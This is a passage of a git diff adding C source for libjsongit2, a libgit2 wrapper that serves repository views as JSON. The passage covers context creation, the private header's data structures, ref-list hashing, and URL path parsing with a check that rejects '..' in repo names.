+	m = JG2_CTX_CREATE_OOM;
+	r = jg2_zalloc(sizeof(*r));
+	if (!r) {
+		pthread_mutex_unlock(&vhost->lock); /* --------- vhost unlock */
+		goto bail1;
+	}
+
+	created_r = 1;
+	pthread_mutex_init(&r->lock, NULL);
+
+	r->repo_path = strdup(filepath);
+	r->vhost = vhost;
+	if (!r->repo_path) {
+		pthread_mutex_unlock(&vhost->lock); /* --------- vhost unlock */
+		goto bail2;
+	}
+
+	m = git_repository_open_ext(&r->repo, r->repo_path, 0, NULL);
+	if (m < 0) {
+		const git_error *err = giterr_last();
+
+		lwsl_err("repo open failed %s: %d\n", r->repo_path, m);
+		if (err)
+			lwsl_err("Error %d: %s\n", err->klass, err->message);
+
+		pthread_mutex_unlock(&vhost->lock); /* --------- vhost unlock */
+		m = JG2_CTX_CREATE_REPO_OPEN_FAIL;
+		goto bail3;
+	}
+
+	ctx->jrepo = r;
+
+	__repo_reflist_update(vhost, r);
+
+	/* we start the new jrepo's "ctx using repo" list with ourselves */
+	r->ctx_repo_list = ctx;
+
+	r->next = vhost->repo_list;
+	vhost->repo_list = r;
+
+do_mime:
+
+	/* (vhost lock still held whether found or created r) */
+
+	/* add ourselves to the vhost ctx list while we have the vhost lock */
+	ctx->ctx_on_vh_next = vhost->ctx_on_vh_list;
+	vhost->ctx_on_vh_list = ctx;
+
+	if (vhost->cfg.vhost_html_filepath &&
+	    __jg2_vhost_reference_html(vhost)) {
+		/* file problem or OOM... */
+		pthread_mutex_unlock(&vhost->lock); /* --------- vhost unlock */
+		goto bail4;
+	}
+
+	/* for naked modes, we can compute the ETAG / cache hash */
+
+	if (args->etag && args->etag_length && ctx->sr.e[JG2_PE_MODE] &&
+	    ctx->sr.e[JG2_PE_PATH] && jg2_job_naked(ctx)) {
+		char md5_hex33[33];
+
+		vhost->etag_tries++;
+
+		__jg2_job_compute_cache_hash(ctx, jg2_job_naked(ctx), 0,
+					     md5_hex33);
+
+		strncpy(args->etag, md5_hex33, args->etag_length - 1);
+		args->etag[args->etag_length - 1] = '\0';
+
+		if (args->client_etag && !strcmp(args->etag, args->client_etag))
+			vhost->etag_hits++;
+	}
+
+	pthread_mutex_unlock(&vhost->lock); /* ----------------- vhost unlock */
+
+	/* figure out plain mimetype stuff */
+
+	if (ctx->sr.e[JG2_PE_MODE] && ctx->sr.e[JG2_PE_PATH] &&
+	    !strcmp(ctx->sr.e[JG2_PE_MODE], "plain")) {
+		char id[128];
+		size_t sl, n, l = strlen(ctx->sr.e[JG2_PE_PATH]);
+		const char *vid = jg2_ctx_get_path(ctx, JG2_PE_VIRT_ID, id,
+						   sizeof(id));
+
+		strncpy(ctx->hex_oid, vid, sizeof(ctx->hex_oid) - 1);
+		ctx->hex_oid[sizeof(ctx->hex_oid) - 1] = '\0';
+
+		if (!blob_from_commit(ctx)) {
+			*args->length = ctx->size;
+			git_blob_free(ctx->u.blob);
+		} else
+			lwsl_err("blob_from_commit failed\n");
+
+		for (n = 0; n < JG2_ARRAY_SIZE(mime); n++) {
+			sl = strlen(mime[n].suffix);
+
+			if (l > sl &&
+			    !strcmp(ctx->sr.e[JG2_PE_PATH] + l - sl,
+				     mime[n].suffix)) {
+				*args->mimetype = mime[n].mimetype;
+				break;
+			}
+		}
+	}
+
+	if (ctx->sr.e[JG2_PE_MODE] && ctx->sr.e[JG2_PE_PATH] &&
+	    !strcmp(ctx->sr.e[JG2_PE_MODE], "snapshot")) {
+		size_t sl, n, l = strlen(ctx->sr.e[JG2_PE_PATH]);
+
+		for (n = 0; n < JG2_ARRAY_SIZE(mime); n++) {
+			sl = strlen(mime[n].suffix);
+
+			if (l > sl &&
+			    !strcmp(ctx->sr.e[JG2_PE_PATH] + l - sl,
+				     mime[n].suffix)) {
+				*args->mimetype = mime[n].mimetype;
+				break;
+			}
+		}
+	}
+
+	return 0;
+
+bail4:
+	git_repository_free(r->repo);
+
+bail3:
+	free(r->repo_path);
+
+bail2:
+	if (created_r) {
+		pthread_mutex_destroy(&r->lock);
+		free(r);
+	}
+
+bail1:
+	jg2_repopath_destroy(&ctx->sr);
+
+	if (ctx->md5_ctx)
+		free(ctx->md5_ctx);
+
+	free(ctx);
+	*_ctx = NULL;
+
+	return m;
+}
+
+
+int
+jg2_ctx_destroy(struct jg2_ctx *ctx)
+{
+	struct jg2_vhost *vh;
+
+	if (!ctx)
+		return 0;
+
+	vh = ctx->vhost;
+
+	pthread_mutex_lock(&vh->lock); /* ======================== vhost lock */
+
+	ctx->destroying = 1;
+
+	__jg2_ctx_destroy(ctx);
+
+	pthread_mutex_unlock(&vh->lock); /*--------------------- vhost unlock */
+
+	return 0;
+}
diff --git a/lib/private.h b/lib/private.h
new file mode 100644
index 0000000..b9c557a
--- /dev/null
+++ b/lib/private.h
@@ -0,0 +1,545 @@
+/*
+ * libjg2 - private includes
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include <libjsongit2.h>
+#include <git2.h>
+
+#define LG2_VERSION(MA, MI) \
+		((((LIBGIT2_VER_MAJOR) << 16) + (LIBGIT2_VER_MINOR)) - \
+			(((MA) << 16) + (MI)))
+
+#define LIBGIT2_HAS_BLAME_MAILMAP	(LG2_VERSION(0, 28) >= 0)
+#define LIBGIT2_HAS_BLAME		(LG2_VERSION(0, 21) >= 0)
+#define LIBGIT2_HAS_REPO_CONFIG_SNAP	(LG2_VERSION(0, 21) >= 0)
+#define LIBGIT2_HAS_GIT_BUF		(LG2_VERSION(0, 24) > 0)
+#define LIBGIT2_HAS_DIFF		(LG2_VERSION(0, 19) > 0)
+#define LIBGIT2_HAS_STR_BUF		(LG2_VERSION(0, 19) > 0)
+#define LIBGIT2_HAS_REFCOUNTED_INIT	(LG2_VERSION(0, 19) > 0)
+#define LIBGIT2_HAS_LEAKY_ERR		(LG2_VERSION(0, 19) <= 0)
+
+/* generated by cmake */
+#include <jg2-config.h>
+
+#include <pthread.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#if defined(JG2_HAVE_ARCHIVE_H)
+#include <archive.h>
+#include <archive_entry.h>
+#endif
+
+#define JG2_JSON_EPOCH 1
+
+struct jg2_ctx;
+struct jg2_vhost;
+
+#if defined(__GNUC__)
+#define JG2_FORMAT(string_index) __attribute__ ((format(printf, string_index, \
+		   string_index + 1)))
+#else
+#define JG2_FORMAT(string_index)
+#endif
+
+#define CTX_BUF_APPEND(...) ctx->p += lws_snprintf(ctx->p, \
+				lws_ptr_diff(ctx->end, ctx->p), __VA_ARGS__)
+#define JG2_MD5_LEN 16
+#define MIB (1024 * 1024)
+#define KIB (1024)
+
+#include "lac/private.h"
+#include "conf/private.h"
+#include "job/private.h"
+#include "email/private.h"
+
+#define JG2_HTML_META	 "<!-- libjsongit2:meta-description -->"
+#define JG2_HTML_META_LEN 37
+#define JG2_HTML_DYNAMIC "<!-- libjsongit2:initial-json -->"
+#define JG2_HTML_DYNAMIC_LEN 33
+
+#define JG2_ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))
+#define lws_ptr_diff(head, tail) ((int)((char *)(head) - (char *)(tail)))
+
+/*
+ * The number of bytes we might want to send with stats, etc at the end of
+ * the whole transaction or at the end of one JSON unit, whichever is bigger.
+ *
+ * The jobs act to reserve this amount of buffer.
+ */
+#define JG2_RESERVE_SEAL 100
+#define JG2_HAS_SPACE(ctx, num) (lws_ptr_diff(ctx->end, ctx->p) > \
+				 JG2_RESERVE_SEAL + num)
+
+/**
+ * jg2_path_element: which parsed path element to receive
+ *
+ * JG2_PE_VIRT_ID is a synthetic element which contains a commit id, or ref
+ * name depending on what is available.
+ */
+
+typedef enum {
+	JG2_PE_NAME,   /**< reponame (NULL if none) */
+	JG2_PE_MODE,   /**< display mode, like tree or commit (NULL if none) */
+	JG2_PE_PATH,   /**< filepath inside repo, if any (NULL if none) */
+	JG2_PE_BRANCH, /**< specified branch, if any (NULL implies master) */
+	JG2_PE_ID,     /**< specified oid in hex, if any (NULL if none) */
+	JG2_PE_OFFSET, /**< pagination offset counted in items */
+
+	JG2_PE_COUNT,
+	JG2_PE_VIRT_ID
+} jg2_path_element;
+
+struct file_entry {
+	list_ptr sorted;
+	list_ptr prev;
+	char name[64];
+	time_t modified;
+	size_t size;
+};
+
+/* this is used for both per-repodir and per-cachedir stuff */
+
+struct jg2_repodir {
+	pthread_mutex_t lock;
+	char repo_base_dir[128];
+	struct jg2_repodir *next;
+
+	char hexoid_gitolite_conf[GIT_OID_HEXSZ + 1];
+	int refcount; /* vhosts using this struct */
+
+	/* cache trimming */
+
+	struct file_entry *batch;
+	list_ptr head;
+	time_t last_scan_completed;
+	uint64_t agg_size;
+	uint64_t cache_size_limit;
+	uint64_t avg_size;
+	int secs_waiting;
+	int cache_subdir;
+	int batch_in_use;
+	int agg_file_count;
+	char subsequent;
+};
+
+struct jg2_ref {
+	struct jg2_ref *next; /* next in linear list */
+	struct jg2_ref *hash_next; /* next in same hash list */
+	git_oid oid;
+	char *ref_name;
+};
+
+#define REF_HASH_SIZE 16
+#define jg2_oidbin(oid) ((oid)->id[0] & (REF_HASH_SIZE - 1))
+
+struct jg2_split_repopath {
+	const char *e[JG2_PE_COUNT];
+	int offset;
+};
+
+struct jg2_repo {
+	struct jg2_vhost *vhost;
+	struct jg2_repo *next;
+	char *repo_path;
+	git_repository *repo;
+
+	pthread_mutex_t lock;
+
+	struct jg2_ctx *ctx_repo_list; /* linked-list of ctx using repo */
+
+	struct jg2_ref *ref_list; /* linked-list of refs */
+	struct jg2_ref *ref_list_hash[REF_HASH_SIZE];
+		/* set of linked-lists into the ref objects based on hash */
+
+	unsigned char md5_refs[JG2_MD5_LEN]; /* hash of all refs in repo */
+
+	time_t last_update;
+};
+
+struct acl {
+	list_ptr next;
+	size_t len1;
+	size_t len2;
+
+	/* len1 + 1 (NUL) bytes of string 1 follows */
+	/* len2 + 1 (NUL) bytes of string 2 follows */
+};
+
+struct repo_entry_info {
+	list_ptr next;
+	short name_len;
+	short acl_len;
+	short conf_len[3];
+
+	/*
+	 * - the name
+	 * - then the ACL (none means no restriction)
+	 * - config description if any
+	 * - config owner if any
+	 * - config url if any
+	 */
+};
+
+struct jg2_vhost {
+	struct jg2_email_hash_bin *bins;
+	struct jg2_vhost_config cfg;
+	struct jg2_repo *repo_list;
+	struct jg2_vhost *vhost_list;
+	struct jg2_ctx *ctx_on_vh_list;
+
+	struct jg2_repodir *repodir;
+	struct jg2_repodir *cachedir;
+
+	pthread_mutex_t lock;
+
+	jg2_md5_context md5_ctx;
+
+	uint64_t cache_hits,
+		 cache_tries,
+		 etag_hits,
+		 etag_tries;
+
+	lac_cached_file_t html_content;
+	size_t html_len;
+	size_t meta;
+	size_t dynamic;
+
+	struct lac *rei_lac_head;
+	/* repo_entry_info list */
+	list_ptr rei_head;
+
+	struct lac *acl_lac_head;
+	list_ptr acl_macro_head;
+	list_ptr acl_rule_head;
+};
+
+typedef union {
+	git_object *obj;
+	git_commit *commit;
+	git_tree *tree;
+	git_blob *blob;
+	git_tag *tag;
+} git_generic_ptr;
+
+enum {
+	HTML_STATE_HTML_META,
+	HTML_STATE_HTML_HEADER,
+	HTML_STATE_JOB1,
+	HTML_STATE_JSON,
+	HTML_STATE_HTML_TRAILER,
+	HTML_STATE_COMPLETED
+};
+
+struct tree_entry_info {
+	list_ptr next;
+	const git_oid *oid;
+	git_filemode_t mode;
+	int type;
+	uint64_t size;
+	short namelen;
+
+	/* then the name */
+};
+
+#if LIBGIT2_HAS_BLAME
+struct blame_line_range {
+	list_ptr next;
+	int lines;
+	int line_start_orig;
+	int line_start_final;
+};
+
+struct blame_hunk_info {
+	list_ptr next; 		 /**< next blame hunk, in time order */
+	list_ptr next_same_fsig; /**< same final author */
+	list_ptr next_uniq_fsig; /**< list of first use of unique sigs */
+	list_ptr next_sort_fsig; /**< sorted list of unique sigs */
+
+	struct blame_hunk_info *fsig_rep; /** guy accumulating for our fsig */
+	git_blame_hunk hunk;
+	list_ptr line_range_head;
+	list_ptr *line_range_tail;
+
+	const char *orig_summary;
+	const char *final_summary;
+
+	int count_line_ranges;
+	int count_lines;
+	int count_lines_rep_acc;
+	int ordinal;
+	git_signature orig, final;
+
+	/* then (pointed-to by pointers above):
+	 *
+	 *  orig name        NUL
+	 *  orig email       NUL
+	 *  final name       NUL
+	 *  final email      NUL
+	 *  orig commit log  NUL
+	 *  final commit log NUL
+	 *  orig path        NUL
+	 */
+};
+#endif
+
+#if defined(JG2_HAVE_ARCHIVE_H)
+struct tree_iter_level {
+	char *path;
+	git_tree *tree;
+	size_t index;
+};
+#endif
+
+struct jg2_ctx {
+	struct jg2_split_repopath sr;
+	struct jg2_vhost *vhost;
+	struct jg2_repo *jrepo;
+	struct jg2_ctx *ctx_using_repo_next;
+	struct jg2_ctx *ctx_on_vh_next;
+	struct jg2_ctx *ctx_on_thread_pool_queue_next;
+	void *user;
+
+	jg2_md5_context md5_ctx;
+	unsigned char job_hash[JG2_MD5_LEN];
+
+	/* job parameters */
+	const char *acl_user;
+	char hex_oid[64]; /**< may also be a ref like refs/head/master */
+	char cache[128];
+	char alang[128]; /**< accept-language string, or NUL */
+	char status[256];
+	int count;
+	int flags;
+
+	jg2_job job;
+
+	/* job state */
+	git_reference_iterator *iter_ref;
+	git_generic_ptr u;
+#if LIBGIT2_HAS_GIT_BUF
+	git_buf buffer;
+#else
+	/* libgit2 too old for git_buf uses lac_head + lac */
+#endif
+	const char *body;
+	struct timeval tv_last;
+	struct timeval tv_gen;
+	uint64_t us_gen;
+	size_t pos, size, ofs;
+	jg2_job_state job_state;
+	struct lac *lac_head;
+	struct lac *lac;
+	list_ptr sorted_head;
+	struct tree_entry_info *tei;
+	struct repo_entry_info *rei;
+	char inline_filename[256];
+	unsigned char if_pref;
+#if LIBGIT2_HAS_BLAME
+	git_blame_options blame_opts;
+	struct blame_hunk_info *bhi;
+	struct blame_line_range *bli;
+	git_blame *blame;
+	list_ptr head_uniq_fsig;
+	list_ptr head_sort_fsig;
+	list_ptr contrib;
+#endif
+	int fd_cache;
+	char *cache_written_p;
+	size_t existing_cache_pos;
+	size_t existing_cache_size;
+
+#if defined(JG2_HAVE_ARCHIVE_H)
+	/* for snapshot state */
+	struct archive *a;
+	struct tree_iter_level stack[16];
+	int sp;
+	size_t lacpos;
+#endif
+
+	/* chunk buffer state */
+	char *buf, *p, *end;
+	size_t len;
+
+	/* html */
+	size_t html_pos;
+	int html_state;
+
+	unsigned int partway:1;
+	unsigned int started:1;
+	/**< 0= not started, or finished JSON, 1 = in progress */
+	unsigned int final:1; /* final chunk of JSON for job has been done */
+	unsigned int destroying:1; /**< context destruction is underway */
+	unsigned int meta:1; /**< tracks if first job for outer brackets */
+	unsigned int meta_last_job:1; /**< last job for outer brackets */
+	unsigned int blame_after_tree:1; /**< did a blob, so do blame after */
+
+	unsigned int subsequent:1; /**< not the first entry in a job json list */
+
+	unsigned int waiting_replay_done:1;
+	unsigned int archive_completion:1;
+
+	unsigned int blame_init_phase:1;
+	unsigned int raw_patch:1;
+	unsigned int blog_mode:1;
+	unsigned int bot:1;
+	unsigned int failed_in_start:1;
+};
+
+struct jg2_global {
+	struct jg2_repodir *repodir_head;
+	struct jg2_repodir *cachedir_head;
+	struct jg2_vhost *vhost_head;
+
+	pthread_mutex_t lock;
+
+	pthread_t cache_thread;
+	int count_cachedirs;
+#if !LIBGIT2_HAS_REFCOUNTED_INIT
+	int thread_init_refcount;
+#endif
+};
+
+enum jg2_log_levels {
+	JG2_LLL_ERR = 1 << 0,
+	JG2_LLL_WARN = 1 << 1,
+	JG2_LLL_NOTICE = 1 << 2,
+	JG2_LLL_INFO = 1 << 3,
+	JG2_LLL_DEBUG = 1 << 4,
+	JG2_LLL_USER = 1 << 5,
+
+	JG2_LLL_COUNT = 6 /* set to count of valid flags */
+};
+
+JG2_VISIBLE void _jg2_log(int filter, const char *format, ...) JG2_FORMAT(2);
+#define lwsl_err(...) _jg2_log(JG2_LLL_ERR, __VA_ARGS__)
+#define lwsl_warn(...) _jg2_log(JG2_LLL_WARN, __VA_ARGS__)
+#define lwsl_notice(...) _jg2_log(JG2_LLL_NOTICE, __VA_ARGS__)
+#define lwsl_info(...) _jg2_log(JG2_LLL_INFO, __VA_ARGS__)
+#define lwsl_debug(...) _jg2_log(JG2_LLL_DEBUG, __VA_ARGS__)
+#define lwsl_user(...) _jg2_log(JG2_LLL_USER, __VA_ARGS__)
+
+const char *
+jg2_ctx_get_path(const struct jg2_ctx *ctx, jg2_path_element type, char *buf,
+		 size_t buflen);
+
+void
+jg2_safe_libgit2_init(void);
+
+void
+jg2_safe_libgit2_deinit(void);
+
+void *
+jg2_zalloc(size_t s);
+
+void
+jg2_repo_ref_destroy(struct jg2_ref *r);
+
+void
+jg2_repo_reflist_destroy(struct jg2_ref *r);
+
+void
+jg2_repo_destroy(struct jg2_repo *r);
+
+int
+jg2_vhost_repo_reflist_update(struct jg2_vhost *vhost);
+
+const char *
+oid_to_hex_cstr(char *oid_hex, const git_oid *oid);
+
+const char *
+ellipsis_string(char *out, const char *in, int max);
+
+const char *
+ellipsis_purify(char *out, const char *in, int max);
+
+void
+time_json(const git_time *t, struct jg2_ctx *ctx);
+
+void
+signature_json(const git_signature *sig, struct jg2_ctx *ctx);
+
+void
+signature_text(const git_signature *sig, struct jg2_ctx *ctx);
+
+const char *
+otype_name(git_otype type);
+
+int
+jg2_json_purify(char *escaped, const char *string, int len, size_t *inlim_totlen);
+
+int
+lws_snprintf(char *str, size_t size, const char *format, ...);
+
+int
+commit_summary(git_commit *commit, struct jg2_ctx *ctx);
+
+int
+generic_object_summary(const git_oid *oid, struct jg2_ctx *ctx);
+
+jg2_md5_context
+jg2_md5_alloc(void);
+void
+jg2_md5_init(jg2_md5_context _ctx);
+int
+jg2_md5_upd(jg2_md5_context _ctx, const unsigned char *input, size_t ilen);
+int
+jg2_md5_fini(jg2_md5_context _ctx, unsigned char output[16]);
+
+const char *
+md5_to_hex_cstr(char *md5_hex_33, const unsigned char *md5);
+
+void
+identity_json(const char *name_email, struct jg2_ctx *ctx);
+
+int
+__repo_reflist_update(struct jg2_vhost *vh, struct jg2_repo *repo);
+
+int
+jg2_oid_to_ref_names(const git_oid *oid, struct jg2_ctx *ctx,
+		     struct jg2_ref **result, int max);
+
+int
+jg2_json_oid(const git_oid *oid, struct jg2_ctx *ctx);
+
+int
+jg2_repopath_split(const char *urlpath, struct jg2_split_repopath *sr);
+
+void
+jg2_repopath_destroy(struct jg2_split_repopath *sr);
+
+int
+blob_from_commit(struct jg2_ctx *ctx);
+
+int
+__jg2_vhost_reference_html(struct jg2_vhost *vh);
+
+#define JG2_CACHE_QUERY_NO_CACHE	0
+#define JG2_CACHE_QUERY_EXISTS		1
+#define JG2_CACHE_QUERY_CREATING	2
+int
+__jg2_cache_query(struct jg2_ctx *ctx, const char *md5_hex, int *_fd,
+		  char *cache, int cache_len);
+
+int
+jg2_cache_trim(struct jg2_repodir *cd);
+
+void *
+cache_trim_thread(void *d);
diff --git a/lib/repostate.c b/lib/repostate.c
new file mode 100644
index 0000000..218b676
--- /dev/null
+++ b/lib/repostate.c
@@ -0,0 +1,249 @@
+/*
+ * libjsongit2 - repostate.c
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "private.h"
+
+#include <string.h>
+
+/* vhost lock must be held on entry */
+
+int
+__repo_reflist_update(struct jg2_vhost *vh, struct jg2_repo *jrepo)
+{
+	struct jg2_ref **er_prev = &jrepo->ref_list, *er = *er_prev, *er1,
+		       **er_hash_prev[REF_HASH_SIZE];
+	unsigned char entry[REF_HASH_SIZE];
+	git_reference_iterator *iter_ref;
+	int change_seen = 0, n, ret = -1;
+	time_t t = time(NULL);
+	struct jg2_ctx *ctx;
+	git_reference *ref;
+
+	/* limit how often we are willing to do this */
+
+	if (t - jrepo->last_update <= 3)
+		return 0;
+
+	pthread_mutex_lock(&jrepo->lock); /* ===================== jrepo lock */
+
+	memcpy(entry, jrepo->md5_refs, sizeof(entry));
+
+	jrepo->last_update = t;
+
+	for (n = 0; n < REF_HASH_SIZE; n++)
+		er_hash_prev[n] = &jrepo->ref_list_hash[n];
+
+	/*
+	 * First we iterate all the interesting refs and check against our
+	 * existing reflist.  Most commonly, they are unchanged and we exit
+	 * with 0 indicating no change.
+	 *
+	 * We keep track of if the only difference was an oid change on an
+	 * existing ref.  If so we update it on to go, recompute the repo hash
+	 * and we exit with 1, indicating change found.
+	 *
+	 * If the iterated refs and reflist lose coherence on the names, we
+	 * delete and reacquire the whole reflist, recompute the repo hash, and
+	 * exit with 2 indicating a change found.
+	 *
+	 * Because we may mark, eg, commit logs with decorations from any
+	 * other ref, if any ref changes all views are potentially affected.
+	 */
+
+	if (git_reference_iterator_new(&iter_ref, jrepo->repo) < 0) {
+		if (giterr_last())
+			giterr_clear();
+		goto bail;
+	}
+
+	if (giterr_last())
+		giterr_clear();
+
+	while (git_reference_next(&ref, iter_ref) >= 0) {
+		const char *name = git_reference_name(ref);
+
+		if (!strncmp(name, "refs/heads/", 11) ||
+		    !strncmp(name, "refs/tags/", 10)) {
+			const git_oid *oid;
+
+			if (!er) { /* lost coherence: extra new refs */
+				change_seen |= 2;
+				break;
+			}
+
+			if (strcmp(name, er->ref_name)) {
+				/* lost coherence: wrong name */
+				change_seen |= 2;
+				break;
+			}
+
+			oid = git_reference_target(ref);
+
+			if (git_oid_cmp(&er->oid, oid)) {
+				change_seen |= 1; /* existing ref changed oid */
+				/* snip us out of existing hash table */
+				*er_hash_prev[jg2_oidbin(&er->oid)] =
+						er->hash_next;
+				/* update our oid */
+				git_oid_cpy(&er->oid, oid);
+				/* patch us into hash table of the new oid */
+				er->hash_next = *er_hash_prev[jg2_oidbin(oid)];
+				*er_hash_prev[jg2_oidbin(oid)] = er;
+			}
+			er_hash_prev[jg2_oidbin(oid)] = &er->hash_next;
+			er_prev = &er->next;
+			er = er->next;
+		}
+		git_reference_free(ref);
+		ref = NULL;
+	}
+
+	if (er) /* lost coherence: less refs than before */
+		change_seen |= 2;
+
+	if (!change_seen) {
+		git_reference_iterator_free(iter_ref);
+
+		ret = 0;
+		goto bail;
+	}
+
+	if (!(change_seen & 2))
+		/* ref has always been freed if !(change_seen & 2) */
+		goto changed1;
+
+	/* snip all the existing refs past the point we lost coherence */
+
+	*er_prev = NULL;
+	while (er) {
+		/* snip us out of existing hash table */
+		*er_hash_prev[jg2_oidbin(&er->oid)] = er->hash_next;
+		er1 = er->next;
+		jg2_repo_ref_destroy(er);
+		er = er1;
+	}
+
+	if (!ref)
+		/*
+		 * we actually handled all the refs.  The only problem was
+		 * some left over in the original list...
+		 */
+		goto changed1;
+
+	/* regenerate the ref list from the point it lost coherence */
+
+	do {
+		const char *name = git_reference_name(ref);
+
+		if (!strncmp(name, "refs/heads/", 11) ||
+		    !strncmp(name, "refs/tags/", 10)) {
+			const git_oid *oid;
+
+			oid = git_reference_target(ref);
+
+			er = jg2_zalloc(sizeof(*er));
+			if (!er)
+				goto bail;
+
+			er->ref_name = strdup(name);
+			git_oid_cpy(&er->oid, oid);
+
+			*er_prev = er;
+			er->next = NULL;
+			*er_hash_prev[jg2_oidbin(&er->oid)] = er;
+			er_hash_prev[jg2_oidbin(&er->oid)] = &er->hash_next;
+			er_prev = &er->next;
+		}
+
+		git_reference_free(ref);
+	} while (git_reference_next(&ref, iter_ref) >= 0);
+
+changed1:
+	git_reference_iterator_free(iter_ref);
+
+	/* create a new hash representing all the refs in this repo */
+
+	vh->cfg.md5_init(vh->md5_ctx);
+
+	er = jrepo->ref_list;
+	while (er) {
+		// lwsl_debug("%s: %s\n", __func__, er->ref_name);
+
+		vh->cfg.md5_upd(vh->md5_ctx, (unsigned char *)er->ref_name,
+				   strlen(er->ref_name));
+		vh->cfg.md5_upd(vh->md5_ctx, er->oid.id, sizeof(er->oid.id));
+
+		er = er->next;
+	}
+
+	vh->cfg.md5_fini(vh->md5_ctx, jrepo->md5_refs);
+
+	{
+		char hash33[33];
+
+		md5_to_hex_cstr(hash33, jrepo->md5_refs);
+
+		if (memcmp(entry, jrepo->md5_refs, sizeof(entry)))
+			lwsl_notice("%s: %s: ref hash: %s\n", __func__,
+				    jrepo->repo_path, hash33);
+	}
+
+	/*
+	 * Inform all ctx that use this repo about the refchange... this is
+	 * useful if the client is on a long poll...
+	 */
+
+	ctx = jrepo->ctx_repo_list;
+	while (ctx) {
+		if (ctx->vhost->cfg.refchange)
+			ctx->vhost->cfg.refchange(ctx->user);
+
+		ctx = ctx->ctx_using_repo_next;
+	}
+
+	ret = 2;
+
+bail:
+	pthread_mutex_unlock(&jrepo->lock); /*------------------ jrepo unlock */
+
+	return ret;
+}
+
+int
+jg2_vhost_repo_reflist_update(struct jg2_vhost *vhost)
+{
+	struct jg2_repo *r;
+	int m = 0;
+
+	pthread_mutex_lock(&vhost->lock); /* ===================== vhost lock */
+
+	r = vhost->repo_list;
+
+	while (r) {
+		m |= __repo_reflist_update(vhost, r);
+
+		r = r->next;
+	}
+
+	pthread_mutex_unlock(&vhost->lock); /*------------------ vhost unlock */
+
+	return m;
+}
diff --git a/lib/util.c b/lib/util.c
new file mode 100644
index 0000000..c3cd8cf
--- /dev/null
+++ b/lib/util.c
@@ -0,0 +1,792 @@
+/*
+ * libjsongit2 - wrapper for libgit2 with JSON IO
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "private.h"
+
+#include <stdio.h>
+#include <string.h>
+#include <stdarg.h>
+#include <unistd.h>
+
+#include <sys/time.h>
+
+static const char * const log_level_names[] = {
+	"ERR",
+	"WARN",
+	"NOTICE",
+	"INFO",
+	"DEBUG",
+	"USER",
+	"?",
+	"?"
+};
+
+static const char *hex = "0123456789abcdef";
+
+/*
+ * repo_path should look like
+ *
+ *      reponame/mode/repopath[?h=branch][&id=oid]
+ *
+ * Notice this allocates.  So you must call jg2_repopath_destroy(sr).
+ */
+
+int
+jg2_repopath_split(const char *urlpath, struct jg2_split_repopath *sr)
+{
+	char *p, *p1;
+	int n;
+
+	memset(sr, 0, sizeof(*sr));
+
+	if (*urlpath == '/')
+		urlpath++;
+
+	sr->e[JG2_PE_NAME] = strdup(urlpath);
+	if (!sr->e[JG2_PE_NAME])
+		return 1;
+
+	p = strchr(sr->e[JG2_PE_NAME], '/');
+	if (p) {
+		*p++ = '\0';
+
+		sr->e[JG2_PE_MODE] = p;
+		p = strchr(p, '/');
+		if (p) {
+			*p++ = '\0';
+			if (*p)
+				sr->e[JG2_PE_PATH] = p;
+		} else
+			p = (char *)sr->e[JG2_PE_MODE];
+	} else
+		p = (char *)sr->e[JG2_PE_NAME];
+
+	/* sanitize url-provided repo name against .. attack */
+
+	p1 = (char *)sr->e[JG2_PE_NAME];
+	while ((p1 = strchr(p1, '.')))
+		if (*(++p1) == '.') {
+			lwsl_err("%s: illegal .. in repo path\n", __func__);
+
+			goto bail;
+		}
+
+	for (n = 0; n < 3; n++) {
+		p = strchr(p, !n ? '?' : '&');
+		if (!p)
+			return 0;
+
+		*p++ = '\0';
+
+		p = strchr(p, '=');
+		if (!p)
+			return 0;
+
+		if (p[-1] == 'h')
+			sr->e[JG2_PE_BRANCH] = p + 1;
+		if (p[-1] == 'd') /* id */
+			sr->e[JG2_PE_ID] = p + 1;
+		if (p[-1] == 's') /* ofs */
+			sr->offset = atoi(p + 1);
+
+		p++;
+	}
+
+	return 0;
+
+bail:
+	free((char *)sr->e[JG2_PE_NAME]);
+	sr->e[JG2_PE_NAME] = NULL;
+
+	return 1;
+}
+
+const char *
+jg2_ctx_get_path(const struct jg2_ctx *ctx, jg2_path_element type,
+		 char *buf, size_t buflen)
+{
+	if (type == JG2_PE_VIRT_ID) {
+		if (ctx->sr.e[JG2_PE_ID])
+			return ctx->sr.e[JG2_PE_ID];
+		if (ctx->sr.e[JG2_PE_BRANCH]) {
